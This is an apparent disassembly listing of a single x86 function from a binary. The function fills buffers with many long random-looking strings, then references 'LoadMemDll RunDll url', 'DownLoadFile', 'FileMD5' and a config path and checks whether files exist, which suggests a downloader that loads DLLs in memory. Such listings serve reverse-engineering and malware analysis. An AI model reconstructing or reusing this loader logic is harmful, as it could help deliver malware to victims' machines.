Function at 0x4c5a8c
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x544908
mov eax, dword fs:[0]
push eax
mov eax, 0x22ec
call fcn.004682f0
mov eax, dword [0x657114]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x22f4], eax
push 0x73
pop ecx
mov esi, str.GoWPw68LPkKEUviXsRxJP2Erok7VAbkZTS6v6M2Gz1BwW8iexsYlkDLRtwNMfsSrVCi5qGIddapI9Xg9Zsoi6FFIArRetRds3WLET1ozdF0KqJXsKx52iFm6vfEO2MMCGga7xBEVYGCyYQIbReFHBVAx257RNGNtk2jeBljfJXya2EIGZM46VRCkXGRKZTRviGreSDJWJaJd6HuLuhyR1yt5OzlN1BNTpoLZ4t5YAL4BJfgH184zwdtaC4hFWLBpu5rK6UypvBef8dyadEC48a7iWrW4YymTaRKVVAtGrewjv7OoPB0RYC2Z4evKMNlQDOv4kZzP7cSxujbrUZab3jZtHg6iVvdErXvJegfiGcDSTlLoIFPeKcQWafOSnsfXBY6kjnN2guaqFuF9zDoWqRKrKQQeRQ33t13CKsrJUu55VoSWX1r0fm6QXQNva9m6KiTpWhVlt39s7
and dword [ebp - 4], 0
lea edi, [ebp - 0xed0]
rep movsd dword es:[edi], dword [esi]
push 0x43
pop ecx
push 0x73
movsw word es:[edi], word [esi]
mov esi, str.vgho7BWy7hGDkyXH1eY6KhTkCaZNVNWiCXRQRKzSCAAAfdJzhzJd6cmjXUTTIcthqDCrkv2p5xSIDKqvZkSb4vO5sgMwBfhKSYlJLVbTlLtCVpPujaGgK6iAoQHtCcWdwS3uez91JwXft79nkD0IYrMaCeX2JKb8vqE38eYPJLrpUdo5Hd14vdfqyRzZpDHDC6RqKAJS8C4yjhFsgsfgJxikkuPoC1TniUrDnAqRfEsOnRDu02dve7VWtGBlj3z9ubiS2AjBjQCk5
lea edi, [ebp - 0x5e4]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x72
movsw word es:[edi], word [esi]
mov esi, str.BvS6c7eHKzjQaeMhEMaFT6L6dJqbpQpa2ZGYFbNyaBR7b45lRUBK17CE5BrtfnwtETLeOqIQBjKDE2JdUcuSd5u7VEjLJmlDcxM1sDnvLAC5hjfdBUZV8BfnUToktKCDbiAfaK20xJgOQJcsxBVzoNROHf2Nj94xXOo08r4ntFZnaXPoGZj7YThtbiodJJIjLGmq4GU7luPA6XSrzGmk9pO2W7Ed5uyPGbDhe77AnpccRUSXOQfqX5AyLV4VMZ2fyGijckiojHMlI8cl3BiXdYsSxwblAKdApeQ1sKUd7ingNE9J2MkJmzxxw7tIviTc2FsdF9ZMMovrtPmvgRkS1bSdV3suGOpaRpaf3voy9jXaxQrsFiCaAAF295z5esuC14vUPZau8xx1P9FAi5tOGndU1c9pzdQDz3zumvfmQBJaN0xR0p6IOWZe4gDaRiguV9PZQBznIlEm
lea edi, [ebp - 0x10a0]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x5c
movsb byte es:[edi], byte [esi]
mov esi, str.bbv8kWqBxDMm899DsTEoYnDiNMZjTEvnkz4V0WNKa8cOFEsFo1JdObFjVc0BfbXFunXFaebjFBV1bktIH5lGuVhNemcFcwSujOcZW9MbjnSKLSbt1qKEcK53PB1ku2RCF0L0qmG6RBPtSjsXcvMa81Olv0cXH5C5kBruwhTjOd5XO4AsJrtJsLyZqscZnz92kJ0WzDS4G6JlFFHdmiUmSr6xt44EegvPwwOxGJxradv9EZwjnxxFpTyws6SV1skqoIJx78sYFxKDXPlMW3iJ7GW9dDRlOeiA5BRt2J49tX7vSgan9qAH2PUX56biSxxuFzfA6WHrhRPJsvFRhzjHJLSnCRltjiRoc49yb6tucXLjHszX8PngKpagYpNfQrftGrDpi8euWiXwp62dElkfrVwA8xLyWJhi9mGz9ges1A0aYgFQGiDLq0XwB4fYYZPWwYH11TI
lea edi, [ebp - 0x1268]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.IE5msSHhGjmTRxBHjNfa0SZndm6XUqz6BC8HwtbzmwZB9oWJ7O6Y0y7qwGXjz0AmA4U1iiXvwPu84oapOCKZYekYvfi8yIJemfqDwSJ7gtdxSKAmqAp5UC5bx4iSHMnPvsfcxR4C929k8o0s7gN3o8kwK0q4VlOtR6y6b4RslUES27Iu15Hzb9cqeELXvqUwqcB4wSE4ghv0WcNdz4tBxngol0eZ9TvTuEsvc1u3p3UrAQiWNzT8Wv6XH47DyPczGJn2PH0KeZEqXSfo0kIiZwW1BejEcyJLkmfMqpeWDdeJlGeZfWpamKRFxftiMSgE4FjXyynDg7vVY7PI2RWEZMD2orh8tDwZOXriGnagZwJf2Gfobc
lea edi, [ebp - 0xb30]
rep movsd dword es:[edi], dword [esi]
push 0x36
pop ecx
push 0x75
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.KOl2m8jcMoz3xRIjewGo0d2I9t4PgjdQj2eyQfH5ETWPihw84nrLam9zzCsXv0bgZXmzH1iW6z20QzL2cXjPnsIf3LWxhkdKY7a9kSjlQRqEWhJxVMDkvgEt5QiuiscuyNiqMvNnkAX0pmq58uSgVKyR50PYp8lS2a4nHYTYSVqOaXEopegBMOqLip3tK0ABps9l4VccgPGzcqVZsaMsz4Q
lea edi, [ebp - 0x1f8]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.Q5ndzo13eFVimwWWhp0DYLSEpsvlSqC63ULZTyKMtBKcI6pQJSG3q9FXAwdmX1wgskDFp5aO0Jh9chXUBWyKrSfbVVl8m3VlBgWHlWDIug5oHBXisgEUuYlGLnM5te838IxyMk2as6ebiR3W6ktfrU3w4eHBJfNLB9LdjTfQ2jh4jmzx2NbMnncBrVs6BgfZgh1MvgVvZeroycln9nlH3zxZazuOZDPnG1yEzRIv6P7TxrgkcaCweumFwyGexsWDRo26L1meiUn9e5s7D49qte6TBWnnzLZ5VL1S9WpCfRoQZxkEt7Q7cEe5BxQ8OVKAtpfuxt51KPRABIp87WWpzyPYqpfVrOsMJ2J69x3pWMu1SwfmvlY6MQImNMNfmOwaTwrm25dyKSKiG5v9VIaESihRnGdeOQOeF3bpLy5ODxEWcE0nVfpS1djdZCBuWkXVpuS1WX2xy3VOUfE4k5g4s
lea edi, [ebp - 0x1cac]
rep movsd dword es:[edi], dword [esi]
push 0x6d
pop ecx
push 0x6b
movsw word es:[edi], word [esi]
mov esi, str.f4mo8kNIez8EKgTZwWJdeCcuNk7ioqYXIysO9StcIqSD4EORrEcD3ZS5uBIKkdOfuUgC1k5cajb9wgtB1t6g3VQXVwiowjCceZhm08evz1uN0qYEOMUC91TSQfKg9iSCJ3BhbIDjDADxTAuiitlA9vv0gaZeIg21JODybRnG0YS1GsrlIOirEyXKkepWT9tvgqpIOHzFV3TV2oaOnHcKkbc4HbtzpYlxOBRHEF1QTS6Fa9cNNonHFf0si9KIDB7VHsfesryTx3kW0yyiBuzMtEu4tInl0EzTdVWt6GmewWpED1I5kPmnRcL4f48ojIcWFqP681dxf6DnmVWG5NP2CFtqXQkm8nGa1xLyFVBBEHNzCTnCn8wf9bJBSK41Ir5d4oDFimJ0uJ39mlWSiZayR7oHPO0cqQi3XQEYzYSWImxik9XJTiE1tR
lea edi, [ebp - 0x1420]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x47
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.8MysneW6wKnoeQJAWIPyhuwo5fyWMlPLHCNbTxIPdKVbWZt1ulkLulwHTiL9QvKs8mqB4IaYSiNk4rKYSg5SQHrftLRUgwQZl0gMMiKKDoHP2evNOGlCvh31jL11zq5d23JNHKbTcXX8Q0epYipsX1jw6hL8oNTC4QjX3Y3M4ADa2qHANWXuNFh5elVwFA4BL159yVQkJmysxM58tfcvhgp9xucNJ4f5yRkgD0ewZcQQDFCA6WjkfJtWwLflUFGnLGyAvtHHvCWHseQZjeUAtyD9URITpqVkRu6iNFYy7lxgVthqw7n4adA77h7DuwyWjt2ZQJylZUIqSPfzLACqQjYuzh3ZyWb8ple8C4kCdYrdN3rm2QfN3SkFOc8PEKANRswaFlKS3EQw6ePu9dnOpDqF3XQJhpyJlX1TAmHYmWh
lea edi, [ebp - 0x15cc]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.dFyahoOIqbOerKNDm4rLQpg3RCFnOkmNzC0G0caDVBeBmWiCmf4D4s8cISukTXemieOt8SRm4v6dmQxHHx1rDpu5teSO4JX8a6frmlhABPXjgDsQP5Tbs5mg8jYXzox6yOX7czb57QPs4zIqDWfaZvv2xuGArrPdjdtzwTHUMGwO45DwnjZfuf9jTMCz1VrxTYh8YEjW8MACOhhlDIehIwRkr0L3eWlZkjl2EssEH2RHgdAJ7UATTj52065onR6sE5vThbEJ5eYMyDkh08MTgVPaAP0ItT
lea edi, [ebp - 0x83c]
rep movsd dword es:[edi], dword [esi]
push 0x4e
pop ecx
push 0x5f
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.vSAB6fnZ13bc0bzJ6zgm44Fx3SgqIyZ0PtzQaQsDlb0cpg36HpXGpoDpreHpngPU06ZE15gHkwqsDH3SvT50EubIVp3KRY68eIBNrgOP6quLPqtgSSs47aQaOf9t9srsqbxgT5UHS4K5F1vgpDet2gCZfoo4KuEXQzvVjCzejbbrQkcjTCEb1mAU5iloKyqOCUfAGlvT2UE30SPZoUNcuas7SduXADtixb2GGFFs40qa3D0j3VAAsycw7Wg3X4ba6utKfOSRHVsNKxovPbS0XOBPvTK6sC2u9iJzsMMcUfgRoSAlXi6M5GM
lea edi, [ebp - 0x71c]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.mmaMaf913EvUrsVk2GQGQUHPU82sf12IyHtcp2FqHHUemswO1RxoBCy9gsz1Z045xtI0QJR3oNY7bMhe09PDpOHGIoTZPRCnQsSzsUU3adFqA8Fw0Q3PVyksv0HaUhpU9SEnFBvFKnfLbTOnqMFMzbzBFYQORgOjUgYbaBmOXsNO8JNlLkhR1Nlp9CGr4TIWTax2suKA1MjYtgwI3gwRqiU7sljqKnWnYoMAos93BpQtrznAT4THGHj5XcG3Ar6pXz3ynG2NgxJdUyixiQB1UMcToGdQJppKoCh8nmDMFWSwVEzCaCPIkhS6etVHhHkADQlfvgm2ZdScXreOQV18eEblaiVSlZdlS5ug4zVoeoUEYctinZzEuxFWcbpE
lea edi, [ebp - 0x9bc]
rep movsd dword es:[edi], dword [esi]
push 0x38
pop ecx
movsb byte es:[edi], byte [esi]
mov esi, str.y35uG1eMUPcNx1cD4sgKA1SYeI567QUaqxXfsarENv4ffOW5h7jsnyVgO8eb0xYu6Z5MJk1pvSvHzhyXXxL5MLAFLU2Jbc3xyQPGoYoqo5JfCv5oEji43naZlz8c5cKcl8z7dczvHKKIB7MQW3vsmP7XnMeFviRu6lgEnr0JQaE3Tyg4GUQtBKTuxXo41D8Rpt7mUYE7t6b2rowpkpRIVAC0lO7vvUQA
lea edi, [ebp - 0x2dc]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x73
pop ecx
mov esi, str.ElJEM4oMjQXy34FIj3ew4QCnEbGfddawgSE7KnjH1ZkN4kTbVLcsAnpCGYDdjNVFOfVbEnEU30lzsuODZjJzMi3k5UOrNTUxbKwrnsiAYGIuvUeimXLgHGVJrcGgfdCsNjdL06rYInOxJF4SFxfMK6LJxAUeUx48fFIB1PSj13ptC9QXO0AO0UlUK2OZrdpCm0F3nfRR3qz4EmGIsJzboLXj0tLoVy5M3ctun5UX8YO567mP0Kz54LOiaDwxp43OoTf4ke1wWiJGwaMIh9pWJTFfjiksVYKkkhXP5UGqYgKdQvIOMPC06DPHWQbRsh398sgA62GAUGQ9PFVXDWCyom1umro7h5k5yxTv6JFZPltO6vGB1UlCYhYeRt0SlHwY8yf4gCPtSFqmK5lkhvzjc7uEyhs4HpeYHFWdoY3Y9gsna4JQdzCAUMUt8Kxz99WJVth6nXBdLkmx61
lea edi, [ebp - 0xd00]
rep movsd dword es:[edi], dword [esi]
push 0x7c
pop ecx
push 0x3b
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.IeVneVc9vBZT79EtUlC9T4GXqvbvj3MK4PgmZJVjK4OdZEE6cnHhd2Qj7xYdP0CeiByQr53ysQEoGqFgRoedtzVL90b7les6vPqKWnEQmOyiwdHsMvckOaQsSpeALmhvpFQ7gxtq1GKAeB8X0QQyqdsi0yMqM0yMSUTbSAM69xLRd68lnS98ImuLfXPwwFEYKN0J4Vx5WImWDXG2FnGhMLVYNjJWhq4nnjXz33fE3GbkECPHZbFbpfbx7Ua829Lw0iyU1JAi2kInhoWqvEycxJd4Bdf0hZXMXv3Upj2H7GMccwvJPMSiuzclXTs2IXRTmDaPUS3GMp7zfeV2FX1W0bompSZCpavSEsoYxZzz1arZwvS94DKhVgIkCXgo4NLaVvBcljDeNDaeS6xDA4rz4AYle3F4OcOHdnNt8tIJ0fBqNXwOrPWaJO0HNC1FNM4CC5iAvv8TQBA4vbpVoUyrszMLK263hcL5eGCuZjtKYsL1M36Oq
lea edi, [ebp - 0x1ea0]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x41
movsw word es:[edi], word [esi]
mov esi, str.t0j39b1ba8j8NCCoY5skFHa1hxOzHKxS4gvuKykGs9b1otUE26LCsC4AlOsFx5NSqi4wQfdIeoBghue7EQJoio6uhN8ewNUZQLqWWpsHwqDNaRPH5WrK3yds1InUK0RMknKWah0wSnZh3xDiB9VaOd7uTWDCXLjqOz6j7Ay62viKL7sMwbpdnNwVUdpcGNqxofQsKvbqxvA8WF2l8VHSiaYYnHwVdLmWmAIrHW7MnqnV
lea edi, [ebp - 0x3cc]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x64
movsb byte es:[edi], byte [esi]
mov esi, str.0ndakJkUZ3AsvBMeqo4Jag1RCBlspaphtO9MB1m3lo4jHKYkm05FyQy78dApFJC8VdFqAUeJEDGnDNOnUmLU7TWkNTfAucbrAe5kKQ3qXtVkFouRBiNmDsF7OtHv5NxgFCe8IxEbtkYefR1qnpZg20KorlXmLgAHPX0Bqw0K3lPBOqiMNbJefbqSjkKVsOvoDbv1DynplDxoCgzoWM2YJ4AQ9RpnTDBiW9rlz2qNWJl75t5zPN7Pit8aLrUQJT93e46P
lea edi, [ebp - 0x4d4]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x75
movsb byte es:[edi], byte [esi]
mov esi, str.Pae1NTME5K2bgTfyf9FGUeMpdBeiQR6SkvI2bi4iLQpsJ16pqSGVn2SaTY15qYbOEx9RdaZE1dClun2xmuktftiSZlZf5F3bZQRIFlZ5nZX9PohMF2IfWcWIBHLdLDqo9HGMRRcqb64gM1UcPE0llVTbblESF8gPRdlU80obKE7PGnPafKTWT4EaCVHzqofrv8GIYjBzuyyny32PjSi3M0fAiCzSZipy75TL3uKpFaLbRb27X7NuMvxDDlhWxXMC5jHzQxoxULuKLkVLBfyszgpdS8Su2HB7SNqqdJYqGtTCj5Zei3Lau3dyACUErpSAK3ELEi2hL1UAd8Qq2AEPemS9a0aKNIdQtEDMFsdv9n8XJwSibQPV3YNVJbWCgV7ETdUcpDlAAmnMuoQS
lea edi, [ebp - 0x18fc]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x66
movsb byte es:[edi], byte [esi]
mov esi, str.KEByKNO6zgb58umiNfLmdF3j3i5mQi2r7zeEfr3N3bEtEuRnYm8CXTNdMd5PlIaz02BeKRUT5xx1KJqEtcrJZLRqUmDkxhkDI691hOoBdM9qGYoPdM89FH80InB1Q4OzvleULvCCpA16vHiHsefD6TOGjsR0CKKvCs7nXcvMYHuic2Tkce6HDMoCYkd3tqkRQmZ2jURo9CsR2ptG7zB3589YbxF2NtyDbz0tuQXNq9ILIckvOFE0rNN65V1ydtv6aOfZ8b2XouBBOctjSGtGetrrvuzJY3PMC39QPPepPaQmNBmDX3nJihG7BRzd0IuCicLGrAk6ZV25owZ1zgM2U3rI66L0I56ePds6WSNXWyhr5rkquITS3bL0lRcCTEg7dbCisFUvMOoSVDns0XyL5Ou7LrDmaqxPXnksbHAMF9G9yXVCi3GfHX6CfSIOl27QWGbGjNBvg0VjKsUBnOVA
lea edi, [ebp - 0x1ad4]
rep movsd dword es:[edi], dword [esi]
pop ecx
movsb byte es:[edi], byte [esi]
mov esi, str.uvDtwONyI38zRjYdJ6LU3mwhWq82pt99l2XuhCHjfVykeVJ9FaODIz52Nq6I4WViKpzRdkTuGXzfkm1z2zri75dMpGnrR9zUcPINJLwRRhZmztiPuOp4PwRGKYQQTlka08J2X6ZqCBqsUB5OZxqeAyIqoQoYljMNOXnJPzenKpjvjMnKvzASQMM5iQBbjGEYMADhPnFjpEFemnpeiV8bIroEqPO7BcAt7FFwDYE6D9442FuKTOCwizZmCbUKTAg7di1c0AFjDo0fsqdVCb0M6SPOvwKveT25671jbhmaTqK2UFzzNoHkFrNYjB6XPkZlMXt7U66yjeGWhTQzdx1QeFY3o0wGWUteQUzCQOUvHHOIUnYoMl0fXhJcY983fRshEoJBm4fDNrEfp6NYiCugPaa7sq
lea edi, [ebp - 0x1768]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
mov dword [ebp - 0x22e8], esi
mov dword [ebp - 0x22e4], esi
mov dword [ebp - 0x22e0], esi
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
mov byte [ebp - 4], al
lea eax, [ebp - 0xed0]
push eax
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x5e4]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
inc eax
push esi
push eax
lea ecx, [ebp - 0x20c0]
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x10a0]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x1268]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0xb30]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x1cac]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x1420]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x15cc]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x83c]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x71c]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x9bc]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0xd00]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x1ea0]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x3cc]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x4d4]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x18fc]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x1ad4]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp - 0x1768]
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00407e30
xor eax, eax
lea ecx, [ebp - 0x20c0]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.0046d37e
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x20d8]
push eax
call fcn.004cd1cb
cmp dword [ebp - 0x20c4], 8
lea eax, [ebp - 0x20d8]
mov byte [ebp - 4], 0x16
cmovae eax, dword [ebp - 0x20d8]
push eax
push str._____LoadMemDll_RunDll______url_:__s
call fcn.004cc6ad
mov edi, esi
add esp, 0x10
mov esi, dword [ebx + 0x4c]
cmp esi, dword [ebx + 0x50]
je 0x4c6778
cmp dword [esi + 0x14], 0x10
jb 0x4c612f
mov eax, dword [esi]
jmp 0x4c6131
mov eax, esi
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00405820
push dword [ebp - 0x20b0]
cmp dword [ebp - 0x20ac], 0x10
lea eax, [ebp - 0x20c0]
push 0
cmovae eax, dword [ebp - 0x20c0]
lea ecx, [ebp + 8]
push eax
call fcn.004595f0
push 1
cmp eax, 0xffffffff
lea ecx, [ebp - 0x20c0]
pop eax
push 0
push eax
cmovne edi, eax
call fcn.0046d37e
add esi, 0x18
cmp esi, dword [ebx + 0x50]
jne 0x4c6125
test edi, edi
je 0x4c6778
push 0x208
lea eax, [ebp - 0x20a8]
push 0
push eax
call fcn.004e37a0
push 8
pop esi
cmp dword [ebp - 0x20c4], esi
lea eax, [ebp - 0x20d8]
cmovae eax, dword [ebp - 0x20d8]
push eax
lea eax, [ebp - 0x2168]
push eax
call fcn.004cff6b
add esp, 0x14
lea eax, [ebp + 8]
mov byte [ebp - 4], 0x17
push eax
lea ecx, [ebp - 0x21d4]
call fcn.004dadb1
lea eax, [ebp - 0x2150]
push eax
lea ecx, [ebp - 0x21d4]
call fcn.004dafe7
lea eax, [ebp - 0x2150]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0x2108]
push eax
call fcn.004cd1cb
pop ecx
pop ecx
cmp dword [ebp - 0x20f4], esi
lea eax, [ebp - 0x2108]
push 0x63d8a0
cmovae eax, dword [ebp - 0x2108]
mov ecx, ebx
push eax
push str.DownLoadFile
lea eax, [ebp - 0x20f0]
mov byte [ebp - 4], 0x19
push eax
call fcn.004c52ee
cmp dword [ebp - 0x20dc], esi
lea eax, [ebp - 0x20f0]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmovae eax, dword [ebp - 0x20f0]
push eax
mov byte [ebp - 4], 0x1a
call edi
test eax, eax
jne 0x4c629d
lea eax, [ebx + 0x1c]
lea ecx, [ebp - 0x20f0]
cmp ecx, eax
je 0x4c626b
push 0xffffffffffffffff
push 0
push eax
call fcn.004028b0
mov esi, str.Config_
push esi
call fcn.004f3a59
pop ecx
push eax
push esi
lea ecx, [ebp - 0x20f0]
call fcn.00404290
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x2168]
push eax
lea ecx, [ebp - 0x20f0]
call fcn.004043c0
push 8
pop esi
sub esp, 0x18
lea eax, [ebp - 0x20f0]
mov ecx, esp
push eax
call fcn.004040b0
lea eax, [ebp - 0x2120]
mov ecx, ebx
push eax
call fcn.004c5083
cmp dword [ebp - 0x20f4], esi
lea eax, [ebp - 0x2108]
push 0x63d8a0
cmovae eax, dword [ebp - 0x2108]
mov ecx, ebx
push eax
push str.FileMD5
lea eax, [ebp - 0x2138]
mov byte [ebp - 4], 0x1b
push eax
call fcn.004c52ee
cmp dword [ebp - 0x2124], esi
lea ecx, [ebp - 0x2138]
lea eax, [ebp - 0x2120]
mov byte [ebp - 4], 0x1c
cmovae ecx, dword [ebp - 0x2138]
cmp dword [ebp - 0x210c], esi
push ecx
cmovae eax, dword [ebp - 0x2120]
push eax
call fcn.004eba8c
pop ecx
pop ecx
test eax, eax
jne 0x4c633b
push 0x63d8a0
lea ecx, [ebp - 0x2120]
call fcn.004c3da9
test eax, eax
jne 0x4c6488
push 0x98967f
push 0xf4240
call fcn.004d0c65
push 0x104
mov esi, eax
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.004e37a0
push esi
lea eax, [ebp - 0x120]
push 0x588a88
push eax
call fcn.0040a590
mov esi, 0x595e30
push esi
call fcn.004f3930
add esp, 0x24
lea ecx, [ebp + 8]
push eax
push esi
call fcn.00409130
cmp byte [ebp - 0x120], 0
jne 0x4c6396
xor eax, eax
jmp 0x4c63a3
lea eax, [ebp - 0x120]
push eax
call fcn.004f3930
pop ecx
push eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp + 8]
call fcn.00409130
sub esp, 0x18
lea eax, [ebp - 0x20a8]
mov ecx, esp
mov dword [ebp - 0x22ec], esp
push eax
call fcn.004024f0
sub esp, 0x18
mov byte [ebp - 4], 0x1d
mov eax, esp
lea ecx, [ebp + 8]
push ecx
push eax
call fcn.004cd1cb
pop ecx
pop ecx
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x1c
push eax
mov ecx, ebx
call fcn.004c4cae
push 8
pop esi
